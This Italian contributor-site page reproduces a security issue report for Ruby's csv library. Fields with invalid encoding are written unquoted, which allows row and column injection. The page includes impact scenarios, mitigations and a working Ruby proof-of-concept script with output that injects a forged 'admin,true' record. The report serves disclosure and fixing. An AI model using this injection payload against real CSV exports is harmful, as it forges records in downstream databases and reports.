CSV writer emits invalid-encoding fields unquoted, allowing row and column injection
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 2/5
- Tempo stimato
- 1-3 ore
- Idoneità per principianti
- 70/100
Direzione di ricerca
Parti da lib/csv/writer.rb:200, dove il writer decide se un campo deve essere racchiuso tra virgolette, e segui come le codifiche non valide influiscono su questa decisione. Controlla i test esistenti del writer per i campi che contengono interruzioni di riga, virgole e virgolette. Il lavoro è completo quando i campi con codifiche non valide che contengono questi caratteri vengono racchiusi tra virgolette o rifiutati, così da non poter creare record o colonne aggiuntivi.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
About
Title: CSV writer emits invalid-encoding fields unquoted, allowing row and column injection
Repository: ruby/csv
Location: lib/csv/writer.rb:200
Severity: Medium
Impacted versions: 3.1.6, 3.1.9, 3.2.0, 3.2.3, 3.2.4, 3.2.9, 3.3.0, 3.3.7, 3.3.8
Summary
When the writer decides whether a field needs quoting, it first checks
field.valid_encoding?. If the field contains an invalid byte for its encoding, that
check is false and the writer emits the field raw, with no quotes. The guard was added to
avoid an exception from the regular expression used for the check, but it also disables
the escaping that normally keeps a field containing a newline, a comma or a quote
character from becoming multiple records or columns.
A value such as "x\xFF\nadmin,true" tagged as UTF-8 (or Shift_JIS / EUC-JP with the same
invalid byte) is written as two lines. The exporter believes it wrote one field, but the
file now contains an extra record. The same text without the invalid byte, or a binary
(ASCII-8BIT) string, is correctly wrapped in quotes. The behavior exists in releases 3.1.6
through 3.3.8; before 3.1.6 the same input raised an exception instead.
Impact
Any application that builds CSV from untrusted text (display names, comments, uploaded
file contents, request parameters) can be made to emit rows or columns it never wrote.
When the generated file is re-imported, opened in a spreadsheet or loaded into a database
that tolerates the stray byte, the injected record becomes real data: forged rows in
exports and reports, extra columns, and broken import/export round-trips. The writer's
quoting is the mechanism consumers rely on to keep one field from becoming several
records, so bypassing it defeats the normal protection against newline- and comma-based
field injection.
The main limitation is that a strict consumer which validates encoding will reject the
output (Ruby's own CSV.parse on the default UTF-8 path raises InvalidEncodingError).
The injection is realised by byte-oriented consumers, legacy-codepage importers and
spreadsheets that do not reject the invalid byte. The field must also come from a
multibyte encoding with an invalid sequence: ASCII-8BIT and ISO-8859-1 strings are always
valid and are quoted normally. Using force_quotes: true also quotes the field and avoids
the bypass.
Mitigations
Sanitise/validate field encodings before handing them to the writer (e.g. field.scrub,
reject valid_encoding? == false, or transcode to UTF-8 and drop invalid bytes), and
prefer binary output (String#b) for untrusted data. A fix in the library is to quote (or
raise on) invalid-encoding fields instead of emitting them raw -- build the quoting
decision without the regexp (String#include? checks) so an invalid byte cannot disable
escaping.
Examples
example 1
An internal reporting tool exports user-supplied display names with CSV.generate. An
attacker sets a name to x\xFF\nadmin,true (a UTF-8 string containing one invalid byte).
The exported file contains a second row, admin,true; a downstream billing importer that
reads bytes adds a forged administrator record to its input.
example 2
A support portal exports survey responses and a partner system ingests the file with a
byte-oriented CSV loader. A response containing x\xFF,approved produces an extra column,
so the partner's fixed-column import treats attacker-controlled text as a status field.
example 3
A log-export job writes attacker-controlled comment text with CSV.generate_line. A
comment containing an invalid byte and a newline is emitted unquoted; when an analyst
opens the file in a spreadsheet using a legacy codepage, the newline starts a new row, and
the analyst sees a record that was never in the source data.
Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC for bug 01a21ef8-b686-7ad7-8bf1-2767b3798643
#
# CSV::Writer#quote skips quoting altogether when field.valid_encoding? is
# false (a guard added in a4b528c to avoid a Regexp::ArgumentError). A field
# that carries an ASCII-compatible multibyte encoding (UTF-8, Shift_JIS,
# EUC-JP) and one invalid byte is therefore written raw -- even though it
# contains CR/LF, the column separator or the quote character. The exported
# file then contains a record the exporter never wrote.
#
# Any consumer that tolerates the byte (CSV.parse with encoding:
# "ASCII-8BIT", a database loader, a spreadsheet, another language's CSV
# reader) sees the attacker's extra row/columns.
#
# Usage:
# ruby csv_writer_quoting_bypass.rb
#
$LOAD_PATH.unshift("/src/lib") if File.exist?("/src/lib/csv.rb")
require "csv"
def export(*fields)
CSV.generate_line(fields)
end
def consumer_view(line)
CSV.parse(line.b, encoding: "ASCII-8BIT")
end
ADMIN_ROW = "admin,true"
fixtures = {
"UTF-8 (invalid byte)" => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("UTF-8")],
"UTF-8 (valid control)" => ["x\n#{ADMIN_ROW}".dup.force_encoding("UTF-8")],
"Shift_JIS (invalid byte)" => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("Shift_JIS")],
"EUC-JP (invalid byte)" => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("EUC-JP")],
"ASCII-8BIT (any bytes)" => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("ASCII-8BIT")],
}
# The exporter writes fields it believes it has quoted; the CSV is then read
# back by the same process to prove what a consumer gets.
records = [
["id", "name", "role"],
["1", fixtures["UTF-8 (invalid byte)"][0], "user"],
]
line = records.map { |record| export(*record) }.join
puts "csv #{CSV::VERSION} / ruby #{RUBY_VERSION} on #{RUBY_PLATFORM}"
puts "exported bytes : #{line.inspect}"
puts "exported rows : #{records.size} (one header, one user)"
puts "consumer sees : #{consumer_view(line).inspect}"
puts
puts "per-encoding behaviour (does the writer quote a field containing a newline?):"
injected = false
fixtures.each do |name, fields|
field = fields.first
out = export("user", field, "role")
rows = consumer_view(out)
quoted = out.include?("\"")
row_injected = rows.size == 2
injected ||= row_injected && name != "UTF-8 (valid control)"
printf(" %-26s valid_encoding?=%-5s quoted=%-5s consumer rows=%d%s\n",
name, field.valid_encoding?, quoted, rows.size,
row_injected ? " <-- extra record: #{rows[1].inspect}" : "")
end
still_unquoted = export(
"user", fixtures["UTF-8 (invalid byte)"][0], "role"
).include?("\n")
reparsed = consumer_view(export("user", fixtures["UTF-8 (invalid byte)"][0], "role"))
puts
if injected && still_unquoted && reparsed.size == 2
puts "RESULT: quoting bypassed. A field that the writer would normally quote"
puts " (\"x\\ny\" -> \"\\\"x\\ny\\\"\") is emitted raw as soon as it also carries one"
puts " invalid UTF-8 byte, so the exported file contains the extra record"
puts " #{reparsed[1].inspect} and the extra columns it carries."
exit 0
end
puts "RESULT: no quoting bypass observed -- bug not reproduced"
exit 1
stdout
$ ruby csv_writer_quoting_bypass.rb
csv 3.3.8 / ruby 3.4.9 on amd64-freebsd16
exported bytes : "id,name,role\n1,x\xFF\nadmin,true,user\n"
exported rows : 2 (one header, one user)
consumer sees : [["id", "name", "role"], ["1", "x\xFF"], ["admin", "true", "user"]]
per-encoding behaviour (does the writer quote a field containing a newline?):
UTF-8 (invalid byte) valid_encoding?=false quoted=false consumer rows=2 <-- extra record: ["admin", "true", "role"]
UTF-8 (valid control) valid_encoding?=true quoted=true consumer rows=1
Shift_JIS (invalid byte) valid_encoding?=false quoted=false consumer rows=2 <-- extra record: ["admin", "true", "role"]
EUC-JP (invalid byte) valid_encoding?=false quoted=false consumer rows=2 <-- extra record: ["admin", "true", "role"]
ASCII-8BIT (any bytes) valid_encoding?=true quoted=true consumer rows=1
RESULT: quoting bypassed. A field that the writer would normally quote
("x\ny" -> "\"x\ny\"") is emitted raw as soon as it also carries one
invalid UTF-8 byte, so the exported file contains the extra record
["admin", "true", "role"] and the extra columns it carries.
- Lingua principale
- Ruby
- Stelle
- 221
- Fork
- 142
- Merge medio
- 1g 40m
- PR unite (30g)
- 2
Preparare l'ambiente
Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di ruby/csv
-
Streaming CSV parser drops records when a two-character row separator crosses a chunk boundaryAperta
Difficoltà 4/5 3-5 giorni Idoneità per principianti 55/100
-
Difficoltà 3/5 1-2 giorni Idoneità per principianti 72/100
-
Difficoltà 3/5 1-2 giorni Idoneità per principianti 58/100
-
Difficoltà 3/5 1-2 giorni Idoneità per principianti 57/100
-
Unknown converter name is silently accepted and later fails with "undefined method 'arity' for nil"Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 57/100
Issue simili
-
instrumentation-sidekiq
Difficoltà 2/5 1-3 ore Idoneità per principianti 65/100
open-telemetry/opentelemetry-ruby-contrib#2735 ·
I maintainer di solito rispondono entro 2 giorni
-
SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raisingAperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 67/100
ruby/securerandom#92 ·
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
we-promise/sure#5902 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
avo-hq/avo#5065 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
I maintainer di solito rispondono entro 1 giorno